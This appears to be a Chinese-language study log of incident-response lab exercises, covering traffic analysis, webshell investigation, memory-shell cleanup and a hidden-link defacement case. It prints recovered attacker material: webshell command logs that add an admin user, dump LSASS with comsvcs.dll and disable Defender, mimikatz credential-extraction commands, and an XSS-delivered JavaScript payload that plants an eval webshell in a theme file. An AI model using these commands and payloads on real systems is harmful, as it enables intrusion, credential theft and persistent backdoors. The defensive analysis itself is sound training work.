6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

http过滤看到14.0.0.120大量的请求

2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

Web服务器管理面板通常通过HTTP或HTTPS进行访问继续http过滤再去分析具体的包

4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

在这里看到一个POST包

数据包里面这里可以看到,上传了恶意文件,证明已经进来了,并且看到Authorization里面:

解密:admin:tomcat

6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

在上传恶意文件这个包后面几个包看到这里有在建立反弹shell

7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

这里有
1
2
crontab -l:
每分钟尝试通过TCP/IP连接到14.0.0.120的443端口的命令。

DAY11

第六章 流量特征分析-waf 上的截获的黑客攻击流量

解题过程

1
2
3
1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}
2.黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
3.黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}

1.黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}:

黑客登录我们得看POST的包(大部分登录包都是通过POST的发包),但其实POST的包太多了,分析一下大概确实登录是login.php定位到他,我是直接翻到后面,因为拿到账号密码,在进行其他恶意活动

就是这里,下面还有一个但是不是我们要的,下面那个是“人事”的

后面就是黑客打上了一个内存马,在通过一系列的命令执行来达到他的目的,以及后面的答案,都在流量包里

DAY12

第六章 流量特征分析-蚂蚁爱上树

解题过程

1
2
3
1. 管理员Admin账号的密码是什么?
2. LSASS.exe的程序进程ID是多少?
3. 用户WIN101的密码是什么?

1. 管理员Admin账号的密码是什么?

大概浏览了一下流量包,差不多攻击者后面是有传shell进去然后进行RCE的

这里要找Admin账号的密码,可以在流量包搜索admin发现基本都是出现在onlineshop/product2.php里面

这个product2.php就是攻击者上传的shell,我们再去搜索onlineshop/product2.php

有多个这样的onlineshop/product2.php我们对他们的shell按照给的加密逻辑逐个解密

执行命令的解密就是去掉前两个字符然后base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /priv&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&systeminfo&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain group” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain admins” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net view&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net share&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852
C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&copy store.php c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
C:/Temp/OnlineShopBack.zip
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&dir c:\windows\system32&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\windows\config&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators admin /add&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /all&echo [S]&cd&echo [E]

终于找到了

password1就是为admin新设置的密码

1
2
3
Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXV1xcb25saW5lc2hvcCImbmV0IHVzZXIgYWRtaW4gUGFzc3dvcmQxIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0

cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]

2. LSASS.exe的程序进程ID是多少?

重点看到这里

1
rundll32.exe comsvcs.dll, MiniDump 852  C:\Temp\OnlineShopBackup.zip full
1
rundll32.exe 调用comsvcs.dll库的MiniDump函数把 852进程转存道C:\Temp\OnlineShopBackup.zip
1
MiniDump函数,通常指的是在Windows操作系统中,用于生成小型内存转储(minidump)文件的函数。这些文件包含了程序崩溃时的关键信息,如程序的执行环境、寄存器状态、调用堆栈以及内存中重要区域的内容以及这些文件包含了系统内存的快照,可能包括敏感信息。

所以可以猜测这里的852就是LSASS.exe的进程id

3. 用户WIN101的密码是什么?

因为这里我们知道转存到OnlineShopBackup.zip,我们得把这个导出来,具体文件内容有在响应包体现,导出http,去除多余字符,修改后缀为dmp在用mimikatz抓取密码

1
2
3
4
mimikatz.exe
sekurlsa::minidump product2.dmp
mimikatz # sekurlsa::logonpasswords
!管理员模式打开

就是NTLM md5解密

之前一直用的一个要收费了换了一个

MD5免费在线解密破解_MD5在线加密-SOMD5

1
NTLM:NT LAN Manager的缩写,是一种网络认证协议,用于在Windows网络上进行用户认证。这里的282d975e35846022476068ab5a3d72df是用户名win101在VULNTARGET域下经过NTLM哈希算法处理后的密码哈希值。

DAY13

第八章 内存马分析-java01-nacos

解题过程

1
2
3
4
5
问题 1 nacos 用户密码的密文值作为 flag 提交 flag{密文}
问题 2 shiro 的key为多少 shiro 的 key 请记录下来 (备注请记录下,可能有用)
问题 3 靶机内核版本为 flag{}
问题 4 尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag
问题 5 尝试修复 nacos 并且自行用 poc 测试是否成功

问题 1 nacos 用户密码的密文值作为 flag 提交 flag{密文}

1
Nacos是一个功能强大且易于使用的动态服务发现、配置管理和服务管理平台,它能够帮助开发者轻松管理和监控分布式系统中的服务实例,提高系统的可靠性和可扩展性

看数据库配置文件

1
cat /var/local/nacos/conf/nacos-mysql.sql

问题 2 shiro 的key为多少 shiro 的 key 请记录下来 (备注请记录下,可能有用)

在nacos目录下有个nacos_config_export_20231206050259.zip下载到本地搜索shiro找到

1
文件是一个yaml格式的配置文件是基于Spring框架的应用程序

问题 3 靶机内核版本为 flag{}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Linux内核版本查看方法
使用uname命令
uname -r:直接显示当前内核版本号。
uname -a:显示包括内核版本在内的系统详细信息。

查看/proc/version文件
cat /proc/version:显示内核版本、GCC编译器版本等详细信息。

使用dmesg命令
dmesg | grep 'Linux version':从内核消息缓冲区中过滤出内核版本信息。

使用hostnamectl命令
hostnamectl:显示系统主机名、Linux发行版和内核版本等信息。
hostnamectl | grep Kernel:仅显示内核版本信息。

查看发行版特定的文件
cat /etc/os-release:某些发行版包含内核版本信息。
cat /etc/lsb-release:类似地,显示发行版和内核信息(如果文件存在)。
cat /etc/*release 或 cat /etc/*-release:尝试查找包含“release”的文件。

使用包管理器查询
RPM系统(如CentOS、Fedora):rpm -q kernel 显示已安装的内核包版本。
Debian系统(如Ubuntu):dpkg -l linux-image-* 列出所有已安装的Linux内核包,当前使用的内核版本通常会有特殊标记。
这些方法是查看Linux内核版本的常用且有效的方式。根据具体需求和系统环境,可以选择最适合的方法。

问题 4 尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag

找到get_flag在哪里

1
2
root@vulntarget:~# find / -name get_flag
/home/vulntarget/get_flag

这里显示应急失败,证明还存在问题

1
cat \etc\passwd

看到存在后门用户bt

把他删掉,删除得时候显示进程1在用,直接把这个进程删了就好了

还没有完成

删除并运行

问题 5 尝试修复 nacos 并且自行用 poc 测试是否成功

1
说实话没太明白

第八章 内存马分析-java02-shiro

解题过程

1
2
3
4
1.将 shiro 的 key 作为 flag 提交
2.隐藏用户后删除,并将隐藏用户名作为 flag 提交
3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>
4.分析app.jar文件,将后门的密码作为 flag 提交

1.将 shiro 的 key 作为 flag 提交

java1找到得shirokey

2.隐藏用户后删除,并将隐藏用户名作为 flag 提交

fscan扫描开放端口

访问8088是一个登录界面

利用得到得shirokey

3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>

要分析她,我们得把这个文件拿出来,打一个内存马进去

通过蚁剑把app.jar下载下来,jdax反编译后看到

这里就是后门

路径/exec

4.分析app.jar文件,将后门的密码作为 flag 提交

这里是接受一个cmd的参数,所以密码是cmd

验证

DAY14

第五章 linux实战-黑链

解题过程

1
2
3
4
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
黑客注入黑链文件的 md5 md5sum file flag{md5}
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

1
黑链是指恶意网站或者恶意软件在其他网站上插入的恶意链接。这些链接通常会将用户重定向到恶意网站,从而导致用户的计算机感染病毒、遭受钓鱼攻击或者泄露个人信息。

题目帮我们打包好了www.tar直接下载下来解压,但是做了很多排查都没找到,后面直接搜索的黑链找到的

但是看别人的wp虽然也是找的,但是用了grep命令

1
2
3
4
5
6
grep -rnw '/var/www/html/' -e '黑链'
-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件

webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

直接D盾扫描找到后门404.php

黑客注入黑链文件的 md5 md5sum file flag{md5}

在第二问的时候我们还扫出来了一个poc1.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
// 获取当前页面路径
var urlWithoutDomain = window.location.pathname;
// 判断页面是否为评论管理页面
var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
var tSrc='';
if (hasManageComments){
// 如果是,则将路径修改为用于修改主题文件的页面地址
tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
}else{
// 如果不是,则直接使用主题文件修改页面地址
tSrc='/admin/theme-editor.php?theme=default&file=404.php';
}
// 定义iframe元素的属性,包括id、src、width、height和onload事件

var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
// 获取网页原始内容
var originalContent = document.body.innerHTML;
// 在网页末尾添加iframe元素
document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();
1
2
3
4
    ***这里可以看到设置了隐藏的iframe
var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
代码中的writeShell函数会在iframe加载完成后,尝试访问iframe内部的内容区域和按钮元素。然后,它会在内容区域的前面插入一段PHP代码(<?php @eval($_POST[a]); ?>)
可以判断他就是黑链文件

攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

1
Cookie: 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_author=haha; 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_mail=haha@haha.com; 09f1f9758c26c309477b55f3a4bac8de__typecho_remember_url=http://xxx.xxx.com/"></a><script/src=http://192.168.20.130/poc1.js></script><a/href="#

所以是从cookie注入进去的。路径就是**/index.php/archives/1/**